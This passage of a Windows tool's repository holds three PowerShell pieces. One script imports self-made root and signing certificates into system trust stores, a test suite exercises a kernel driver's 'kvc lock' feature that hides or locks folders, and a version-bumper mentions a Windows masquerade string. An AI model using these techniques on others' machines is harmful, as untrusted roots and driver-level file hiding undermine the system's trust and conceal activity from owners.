        LegacyRootCerPath = Join-Path $CertDir "$slug-root.cer"
        LegacySignerCerPath = Join-Path $CertDir "$slug-signing.cer"
    }
}

function Normalize-CertificateFiles([hashtable]$Paths) {
    $moves = @(
        @{ From = $Paths.LegacyRootCerPath; To = $Paths.RootCerPath },
        @{ From = $Paths.LegacySignerCerPath; To = $Paths.SignerCerPath }
    )

    foreach ($move in $moves) {
        if (($move.From -ne $move.To) -and (-not (Test-Path -LiteralPath $move.To)) -and (Test-Path -LiteralPath $move.From)) {
            Move-Item -LiteralPath $move.From -Destination $move.To -Force
        }
    }
}

function Get-StoreTargets {
    if ($CurrentUser) {
        return [ordered]@{
            RootStorePath = "Cert:\CurrentUser\Root"
            PublisherStorePath = "Cert:\CurrentUser\TrustedPublisher"
            ScopeLabel = "CurrentUser"
        }
    }

    if (-not (Test-IsAdministrator)) {
        throw "LocalMachine certificate import requires an elevated PowerShell session. Re-run as Administrator or use -CurrentUser."
    }

    return [ordered]@{
        RootStorePath = "Cert:\LocalMachine\Root"
        PublisherStorePath = "Cert:\LocalMachine\TrustedPublisher"
        ScopeLabel = "LocalMachine"
    }
}

function Get-CertificateThumbprint([string]$CertificatePath) {
    return ([System.Security.Cryptography.X509Certificates.X509Certificate2]::new($CertificatePath)).Thumbprint
}

function Import-Certificates([hashtable]$Paths, [hashtable]$Stores) {
    Import-Certificate -FilePath $Paths.RootCerPath -CertStoreLocation $Stores.RootStorePath | Out-Null
    Import-Certificate -FilePath $Paths.SignerCerPath -CertStoreLocation $Stores.PublisherStorePath | Out-Null
}

function Remove-Certificates([hashtable]$Paths, [hashtable]$Stores) {
    $targets = @(
        @{
            StorePath = $Stores.RootStorePath
            Thumbprint = Get-CertificateThumbprint -CertificatePath $Paths.RootCerPath
            Label = "root certificate"
        },
        @{
            StorePath = $Stores.PublisherStorePath
            Thumbprint = Get-CertificateThumbprint -CertificatePath $Paths.SignerCerPath
            Label = "signing certificate"
        }
    )

    foreach ($target in $targets) {
        $itemPath = Join-Path $target.StorePath $target.Thumbprint
        if (Test-Path -LiteralPath $itemPath) {
            Remove-Item -LiteralPath $itemPath -DeleteKey -Force
            Write-Success "Removed $($target.Label) for $($Paths.Profile) from $($target.StorePath)."
        }
        else {
            Write-WarningLine "Certificate not present in $($target.StorePath): $($target.Thumbprint)"
        }
    }
}

function Test-CertificatePresent([string]$StorePath, [string]$CertificatePath) {
    $thumbprint = Get-CertificateThumbprint -CertificatePath $CertificatePath
    return Test-Path -LiteralPath (Join-Path $StorePath $thumbprint)
}

function Show-TrustStatus([hashtable]$Paths, [hashtable]$Stores) {
    $rootPresent = Test-CertificatePresent -StorePath $Stores.RootStorePath -CertificatePath $Paths.RootCerPath
    $signerPresent = Test-CertificatePresent -StorePath $Stores.PublisherStorePath -CertificatePath $Paths.SignerCerPath

    Write-Step "$($Paths.Profile) root certificate present: $rootPresent"
    Write-Step "$($Paths.Profile) signing certificate present: $signerPresent"
}

function Show-SignedFileStatus {
    if (-not (Test-Path -LiteralPath $BinDir)) {
        return
    }

    $statusTargets = @(
        (Join-Path $BinDir "kvc.exe"),
        (Join-Path $BinDir "kvcstrm.sys")
    )

    $signedFiles = @(
        $statusTargets | Where-Object { Test-Path -LiteralPath $_ }
        Get-ChildItem -LiteralPath $BinDir -File |
            Where-Object { $_.BaseName -match '(?i)_signed$' } |
            Select-Object -ExpandProperty FullName
    ) | Sort-Object -Unique

    foreach ($file in $signedFiles) {
        $signature = Get-AuthenticodeSignature -FilePath $file
        Write-Step "$([System.IO.Path]::GetFileName($file)): $($signature.Status)"
    }
}

try {
    if (-not (Test-Path -LiteralPath $CertDir)) {
        throw "The cert directory does not exist: $CertDir"
    }

    $config = Load-Config
    $stores = Get-StoreTargets

    $profilesToHandle = if ($Profile -eq "All") { @("Standard", "Driver") } else { @($Profile) }
    if (($profilesToHandle.Count -gt 1) -and (-not [string]::IsNullOrWhiteSpace($Name))) {
        throw "Use -Profile Standard or -Profile Driver together with -Name."
    }

    foreach ($resolvedProfile in $profilesToHandle) {
        $effectiveName = Get-ConfiguredName -Config $config -ResolvedProfile $resolvedProfile -ExplicitName $Name
        $paths = Get-PathsForProfile -BaseName $effectiveName -ResolvedProfile $resolvedProfile
        Normalize-CertificateFiles -Paths $paths

        if ((-not (Test-Path -LiteralPath $paths.RootCerPath)) -or (-not (Test-Path -LiteralPath $paths.SignerCerPath))) {
            Write-WarningLine "Skipping $resolvedProfile because certificate files are missing for '$effectiveName'."
            continue
        }

        $actionLabel = if ($Remove) { "Removing" } else { "Importing" }
        Write-Info "$actionLabel trusted certificates for $resolvedProfile."
        Write-Step "Root store: $($stores.RootStorePath)"
        Write-Step "Trusted publisher store: $($stores.PublisherStorePath)"

        if ($Remove) {
            Remove-Certificates -Paths $paths -Stores $stores
        }
        else {
            Import-Certificates -Paths $paths -Stores $stores
            Write-Success "Certificates imported for $resolvedProfile."
        }

        Show-TrustStatus -Paths $paths -Stores $stores
    }

    Show-SignedFileStatus
}
catch {
    Write-Failure $_.Exception.Message
    exit 1
}

<<<FILE: tests/kvc_lock_results.txt>>>
Created:  2026-05-28 16:54:07
Modified: 2026-05-28 17:33:17
Size:     2.45 KB
================================================================
  kvc lock CLI tests   2026-05-28 17:33:09
================================================================

  [1] Help  -  no-arg shows help, exit 0
----------------------------------------------------------------
  [PASS] kvc lock  exit 0
  [PASS] kvc lock  output contains 'lock'

  [2] Unknown subcommand  -  exit 1
----------------------------------------------------------------
  [PASS] kvc lock badcmd_xyz  exit 1
  [PASS] kvc lock --list  exit 1 (not a documented alias)

  [3] status  -  exit 0 regardless of driver state
----------------------------------------------------------------
  [PASS] kvc lock status  exit 0
  [PASS] kvc lock status  output: [*] kvcblocker: INACTIVE  paths=0  trusted=0  ver=0

  [4] list  -  exit 0 regardless of driver state
----------------------------------------------------------------
  [PASS] kvc lock list  exit 0

  [5] add  -  missing args -> exit 1 with usage
----------------------------------------------------------------
  [PASS] kvc lock add (no args)  exit 1
  [PASS] kvc lock add (no args)  shows usage
  [PASS] kvc lock add (no mode)  exit 1

  [6] remove  -  missing path arg -> exit 1
----------------------------------------------------------------
  [PASS] kvc lock remove (no args)  exit 1

  [7] allow/unallow  -  missing arg -> exit 1
----------------------------------------------------------------
  [PASS] kvc lock allow (no args)  exit 1
  [PASS] kvc lock unallow (no args)  exit 1

  [8] add  -  bad mode name -> exit 1
----------------------------------------------------------------
  [PASS] kvc lock add BadMode  exit 1
  [PASS] kvc lock add BadMode  shows valid modes

  [9] Driver-dependent tests
----------------------------------------------------------------
  [PASS] kvc lock on  exit 0
  [PASS] kvc lock add C:\temp\kvc_vg_test_a Hidden  exit 0
  [PASS] kvc lock add C:\temp\kvc_vg_test_b Locked  exit 0
  [PASS] kvc lock allow explorer.exe  exit 0
  [PASS] kvc lock allow C:\Windows\EXPLORER.EXE  normalizes basename/lowercase
  [PASS] kvc lock list  shows normalized trusted app
  [PASS] kvc lock unallow EXPLORER.EXE  exit 0
  [PASS] kvc lock remove C:\temp\kvc_vg_test_a  exit 0
  [PASS] kvc lock clear  exit 0
  [PASS] kvc lock off  exit 0

================================================================
  PASS=25  FAIL=0  SKIP=0
================================================================

<<<FILE: tests/kvc_vg_test.ps1>>>
Created:  2026-05-27 20:53:01
Modified: 2026-05-28 16:42:45
Size:     9.55 KB
#Requires -Version 5.1
# kvc lock subcommand CLI test suite.
# Tests: exit codes, help output, argument validation, driver lifecycle.
# Requirements: kvc.exe in bin\, Administrator context.
# Output: console (colored) + tests\kvc_lock_results.txt

param(
    [switch]$KeepOutput,
    [switch]$SkipDriver    # skip tests that require kvcblocker.sys to be loaded
)

$ErrorActionPreference = 'Stop'
$KVC    = "$PSScriptRoot\..\bin\kvc.exe"
$RESULT = "$PSScriptRoot\kvc_lock_results.txt"

$script:PASS  = 0
$script:FAIL  = 0
$script:SKIP  = 0
$script:Lines = [System.Collections.Generic.List[string]]::new()

$PA = "C:\temp\kvc_vg_test_a"
$PB = "C:\temp\kvc_vg_test_b"

# -- output --------------------------------------------------------------------

function tee_line([string]$s, [string]$fg = '') {
    $script:Lines.Add($s)
    if ($fg) { Write-Host $s -ForegroundColor $fg } else { Write-Host $s }
}

function banner([string]$t) {
    tee_line ""
    tee_line "  $t" 'Cyan'
    tee_line ("-" * 64) 'DarkGray'
}

function ok([string]$msg) {
    $script:PASS++
    tee_line "  [PASS] $msg" 'Green'
}

function fail([string]$msg) {
    $script:FAIL++
    tee_line "  [FAIL] $msg" 'Red'
}

function skip_test([string]$reason) {
    $script:SKIP++
    tee_line "  [SKIP] $reason" 'Yellow'
}

# -- kvc runner ----------------------------------------------------------------

function kvc([string[]]$a) {
    $tmp = [IO.Path]::GetTempFileName()
    try {
        $p = Start-Process -FilePath $KVC -ArgumentList $a -Wait -PassThru `
             -WindowStyle Hidden -RedirectStandardOutput $tmp
        $out = Get-Content $tmp -Raw
        if ($out) { Write-Host $out.TrimEnd() }
        return $p.ExitCode
    } finally { Remove-Item $tmp -EA SilentlyContinue }
}

function kvc_out([string[]]$a) {
    $tmp = [IO.Path]::GetTempFileName()
    try {
        Start-Process -FilePath $KVC -ArgumentList $a `
            -RedirectStandardOutput $tmp -WindowStyle Hidden -Wait | Out-Null
        $c = Get-Content $tmp -Raw -Encoding Default
        if ($null -ne $c) { return $c.Trim() } else { return "" }
    } finally { Remove-Item $tmp -EA SilentlyContinue }
}

# -- driver check --------------------------------------------------------------

function blocker_loaded {
    $svc = Get-Service -Name 'clrcd' -EA SilentlyContinue
    return ($null -ne $svc -and $svc.Status -eq 'Running')
}

# -- preflight -----------------------------------------------------------------

if (-not (Test-Path $KVC)) { Write-Host "ERROR: $KVC not found" -ForegroundColor Red; exit 1 }

$null = New-Item -ItemType Directory $PA -Force -EA SilentlyContinue
$null = New-Item -ItemType Directory $PB -Force -EA SilentlyContinue

$stamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
tee_line ("=" * 64) 'DarkGray'
tee_line "  kvc lock CLI tests   $stamp" 'White'
tee_line ("=" * 64) 'DarkGray'

# ==============================================================================
banner "[1] Help  -  no-arg shows help, exit 0"
# ==============================================================================

$ec = kvc @("lock")
if ($ec -eq 0) { ok "kvc lock  exit 0" } else { fail "kvc lock  exit=$ec (expected 0)" }

$h = kvc_out @("lock")
if ($h -match 'lock') { ok "kvc lock  output contains 'lock'" } else { fail "kvc lock  output missing 'lock': $h" }

# ==============================================================================
banner "[2] Unknown subcommand  -  exit 1"
# ==============================================================================

$ec = kvc @("lock", "badcmd_xyz")
if ($ec -eq 1) { ok "kvc lock badcmd_xyz  exit 1" } else { fail "kvc lock badcmd_xyz  exit=$ec (expected 1)" }

$ec = kvc @("lock", "--list")
if ($ec -eq 1) { ok "kvc lock --list  exit 1 (not a documented alias)" } else { fail "kvc lock --list  exit=$ec (expected 1)" }

# ==============================================================================
banner "[3] status  -  exit 0 regardless of driver state"
# ==============================================================================

$ec  = kvc @("lock", "status")
$out = kvc_out @("lock", "status")
if ($ec -eq 0) { ok "kvc lock status  exit 0" } else { fail "kvc lock status  exit=$ec" }
if ($out -match 'STOPPED|ACTIVE|INACTIVE|RUNNING') {
    ok "kvc lock status  output: $out"
} else {
    fail "kvc lock status  unexpected output: $out"
}

# ==============================================================================
banner "[4] list  -  exit 0 regardless of driver state"
# ==============================================================================

$ec = kvc @("lock", "list")
if ($ec -eq 0) { ok "kvc lock list  exit 0" } else { fail "kvc lock list  exit=$ec" }

# ==============================================================================
banner "[5] add  -  missing args -> exit 1 with usage"
# ==============================================================================

$ec  = kvc @("lock", "add")
$out = kvc_out @("lock", "add")
if ($ec -eq 1) { ok "kvc lock add (no args)  exit 1" } else { fail "kvc lock add (no args)  exit=$ec (expected 1)" }
if ($out -match 'Usage|usage') { ok "kvc lock add (no args)  shows usage" } else { skip_test "kvc lock add (no args)  usage hint: $out" }

$ec  = kvc @("lock", "add", "C:\temp\x")
$out = kvc_out @("lock", "add", "C:\temp\x")
if ($ec -eq 1) { ok "kvc lock add (no mode)  exit 1" } else { fail "kvc lock add (no mode)  exit=$ec (expected 1)" }

# ==============================================================================
banner "[6] remove  -  missing path arg -> exit 1"
# ==============================================================================

$ec = kvc @("lock", "remove")
if ($ec -eq 1) { ok "kvc lock remove (no args)  exit 1" } else { fail "kvc lock remove (no args)  exit=$ec (expected 1)" }

# ==============================================================================
banner "[7] allow/unallow  -  missing arg -> exit 1"
# ==============================================================================

$ec = kvc @("lock", "allow")
if ($ec -eq 1) { ok "kvc lock allow (no args)  exit 1" } else { fail "kvc lock allow (no args)  exit=$ec (expected 1)" }

$ec = kvc @("lock", "unallow")
if ($ec -eq 1) { ok "kvc lock unallow (no args)  exit 1" } else { fail "kvc lock unallow (no args)  exit=$ec (expected 1)" }

# ==============================================================================
banner "[8] add  -  bad mode name -> exit 1"
# ==============================================================================

$ec  = kvc @("lock", "add", $PA, "BadMode")
$out = kvc_out @("lock", "add", $PA, "BadMode")
if ($ec -eq 1) { ok "kvc lock add BadMode  exit 1" } else { fail "kvc lock add BadMode  exit=$ec" }
if ($out -match 'Unknown mode|Hidden|Locked') { ok "kvc lock add BadMode  shows valid modes" } else { skip_test "add BadMode output: $out" }

# ==============================================================================
banner "[9] Driver-dependent tests"
# ==============================================================================

$driverUp = blocker_loaded
if ($SkipDriver -or -not $driverUp) {
    skip_test "clrcd not running - skipping driver tests (run with driver loaded)"
    skip_test "kvc lock on/off"
    skip_test "kvc lock add/remove path cycle"
    skip_test "kvc lock allow/unallow cycle"
    skip_test "kvc lock clear"
} else {
    # on
    $ec = kvc @("lock", "on")
    if ($ec -eq 0) { ok "kvc lock on  exit 0" } else { fail "kvc lock on  exit=$ec" }

    # add
    $ec = kvc @("lock", "add", $PA, "Hidden")
    if ($ec -eq 0) { ok "kvc lock add $PA Hidden  exit 0" } else { fail "kvc lock add  exit=$ec" }

    $ec = kvc @("lock", "add", $PB, "Locked")
    if ($ec -eq 0) { ok "kvc lock add $PB Locked  exit 0" } else { fail "kvc lock add Locked  exit=$ec" }

    # allow
    $ec = kvc @("lock", "allow", "explorer.exe")
    if ($ec -eq 0) { ok "kvc lock allow explorer.exe  exit 0" } else { fail "kvc lock allow  exit=$ec" }

    $ec = kvc @("lock", "allow", "C:\Windows\EXPLORER.EXE")
    if ($ec -eq 0) { ok "kvc lock allow C:\Windows\EXPLORER.EXE  normalizes basename/lowercase" } else { fail "kvc lock allow uppercase path  exit=$ec" }

    $out = kvc_out @("lock", "list")
    if ($out -match '\[trusted\]\s+explorer\.exe') { ok "kvc lock list  shows normalized trusted app" } else { fail "kvc lock list  missing normalized explorer.exe: $out" }

    # unallow
    $ec = kvc @("lock", "unallow", "EXPLORER.EXE")
    if ($ec -eq 0) { ok "kvc lock unallow EXPLORER.EXE  exit 0" } else { fail "kvc lock unallow  exit=$ec" }

    # remove
    $ec = kvc @("lock", "remove", $PA)
    if ($ec -eq 0) { ok "kvc lock remove $PA  exit 0" } else { fail "kvc lock remove  exit=$ec" }

    # clear
    $ec = kvc @("lock", "clear")
    if ($ec -eq 0) { ok "kvc lock clear  exit 0" } else { fail "kvc lock clear  exit=$ec" }

    # off
    $ec = kvc @("lock", "off")
    if ($ec -eq 0) { ok "kvc lock off  exit 0" } else { fail "kvc lock off  exit=$ec" }
}

# ==============================================================================
# Cleanup
# ==============================================================================

if (-not $KeepOutput) {
    Remove-Item $PA -Recurse -Force -EA SilentlyContinue
    Remove-Item $PB -Recurse -Force -EA SilentlyContinue
}

# -- summary -------------------------------------------------------------------

tee_line ""
tee_line ("=" * 64) 'DarkGray'
$color = if ($script:FAIL -gt 0) { 'Red' } elseif ($script:SKIP -gt 0) { 'Yellow' } else { 'Green' }
tee_line ("  PASS={0}  FAIL={1}  SKIP={2}" -f $script:PASS, $script:FAIL, $script:SKIP) $color
tee_line ("=" * 64) 'DarkGray'

$script:Lines | Set-Content $RESULT -Encoding UTF8

if ($script:FAIL -gt 0) { exit 1 } else { exit 0 }

<<<FILE: version.ps1>>>
Created:  2026-05-28 00:28:24
Modified: 2026-05-28 00:28:24
Size:     5.24 KB
# version.ps1 — KVC version bumper
# Run from anywhere. Only numbers change — prefixes/surrounding text untouched.

$ErrorActionPreference = 'Stop'

$kvcSrc    = 'C:\Projekty\KVC'
$githubDir = 'C:\Projekty\github\kvc'

# ── Auto-detect current version from Kvc.rc (csv4 pattern X,Y,0,Z) ───────────
$kvcRc = "$kvcSrc\kvc\Kvc.rc"
$rcRaw = Get-Content $kvcRc -Raw

if ($rcRaw -match '(\d+),(\d+),0,(\d+)') {
    $cur = "$($Matches[1]).$($Matches[2]).$($Matches[3])"
} else {
    Write-Host "ERROR: cannot detect version from Kvc.rc" -ForegroundColor Red
    exit 1
}

Write-Host "Current: $cur"
$new = (Read-Host "New    ").Trim().TrimStart('v')
if ($new -notmatch '^\d+\.\d+\.\d+$') {
    Write-Host "ERROR: use X.Y.Z" -ForegroundColor Red
    exit 1
}
if ($cur -eq $new) { Write-Host "Already at $new, nothing to do."; exit 0 }

# ── Format variants (numbers only, no v-prefix) ───────────────────────────────
$p = $cur -split '\.'
$q = $new -split '\.'

# dot3:  1.0.3     -> 1.0.4     (strings: "kvc.exe 1.0.3", "v1.0.3" etc.)
# dot4:  1.0.0.3   -> 1.0.0.4   (RC VALUE "FileVersion" / "ProductVersion")
# csv4:  1,0,0,3   -> 1,0,0,4   (RC FILEVERSION / PRODUCTVERSION lines)
# X.Y.Z maps to X,Y,0,Z — patch goes into 4th RC field, 3rd stays 0
$fmts = [ordered]@{
    dot3 = @($cur,                                                   $new)
    dot4 = @("$($p[0]).$($p[1]).0.$($p[2])",                        "$($q[0]).$($q[1]).0.$($q[2])")
    csv4 = @("$($p[0]),$($p[1]),0,$($p[2])",                        "$($q[0]),$($q[1]),0,$($q[2])")
}

# ── File list ─────────────────────────────────────────────────────────────────
$fileList = @(
    [pscustomobject]@{ Path="$kvcSrc\kvc\HelpSystem.cpp";     Enc='utf8';  Fmts=@('dot3') }
    [pscustomobject]@{ Path="$kvcSrc\kvc\ReportExporter.cpp"; Enc='utf8';  Fmts=@('dot3') }
    [pscustomobject]@{ Path="$kvcSrc\README.md";              Enc='utf8';  Fmts=@('dot3') }
    [pscustomobject]@{ Path="$kvcSrc\release-now.md";         Enc='utf8';  Fmts=@('dot3') }
    [pscustomobject]@{ Path="$githubDir\README.md";           Enc='utf8';  Fmts=@('dot3') }
    [pscustomobject]@{ Path="$githubDir\release-now.md";      Enc='utf8';  Fmts=@('dot3') }
    # RC: dot4 + csv4 (Windows masquerade 10,0,... won't match csv4 where first field = 1)
    [pscustomobject]@{ Path="$kvcSrc\kvc\Kvc.rc";             Enc='utf8';  Fmts=@('dot3','dot4','csv4') }
    [pscustomobject]@{ Path="$kvcSrc\kvc_pass\kvc_pass.rc";   Enc='utf8';  Fmts=@('dot3','dot4','csv4') }
    [pscustomobject]@{ Path="$kvcSrc\kvc_pass\kvc_crypt.rc";  Enc='utf8';  Fmts=@('dot3','dot4','csv4') }
)

# ── Preview ───────────────────────────────────────────────────────────────────
Write-Host "`n$cur  ->  $new`n" -ForegroundColor Cyan

$pending = @()

foreach ($f in $fileList) {
    if (-not (Test-Path $f.Path)) { continue }

    if ($f.Enc -eq 'utf16') {
        $bytes   = [IO.File]::ReadAllBytes($f.Path)
        $hasBom  = ($bytes[0] -eq 0xFF -and $bytes[1] -eq 0xFE)
        $offset  = if ($hasBom) { 2 } else { 0 }
        $content = [Text.Encoding]::Unicode.GetString($bytes, $offset, $bytes.Length - $offset)
    } else {
        $content = [IO.File]::ReadAllText($f.Path, [Text.Encoding]::UTF8)
    }

    $newContent = $content
    $hits = [System.Collections.Generic.List[string]]::new()

    foreach ($key in $f.Fmts) {
        $oldStr = $fmts[$key][0]
        $newStr = $fmts[$key][1]
        $esc    = [regex]::Escape($oldStr)
        $count  = ([regex]::Matches($content, $esc)).Count
        if ($count -gt 0) {
            $hits.Add("    $oldStr  ->  $newStr  (${count}x)")
            $newContent = $newContent -replace $esc, $newStr
        }
    }

    if ($hits.Count -gt 0) {
        Write-Host "  $($f.Path)" -ForegroundColor Yellow
        $hits | ForEach-Object { Write-Host $_ }
        $pending += [pscustomobject]@{ File=$f; NewContent=$newContent }
    }
}

if ($pending.Count -eq 0) {
    Write-Host "No matches found for $cur" -ForegroundColor Yellow
    exit 0
}

# ── Confirm & apply ───────────────────────────────────────────────────────────
Write-Host ""
$ok = Read-Host "Apply? [y/N]"
if ($ok -ne 'y') { Write-Host "Aborted."; exit 0 }

foreach ($item in $pending) {
    $f = $item.File
    if ($f.Enc -eq 'utf16') {
        $bytes  = [IO.File]::ReadAllBytes($f.Path)
        $hasBom = ($bytes[0] -eq 0xFF -and $bytes[1] -eq 0xFE)
        $out    = [Text.Encoding]::Unicode.GetBytes($item.NewContent)
        if ($hasBom) {
            $final = [byte[]](0xFF, 0xFE) + $out
            [IO.File]::WriteAllBytes($f.Path, $final)
        } else {
            [IO.File]::WriteAllBytes($f.Path, $out)
        }
    } else {
        [IO.File]::WriteAllText($f.Path, $item.NewContent, [Text.Encoding]::UTF8)
    }
    Write-Host "  OK  $($f.Path)" -ForegroundColor Green
}

Write-Host "`nDone.  $cur  ->  $new" -ForegroundColor Green

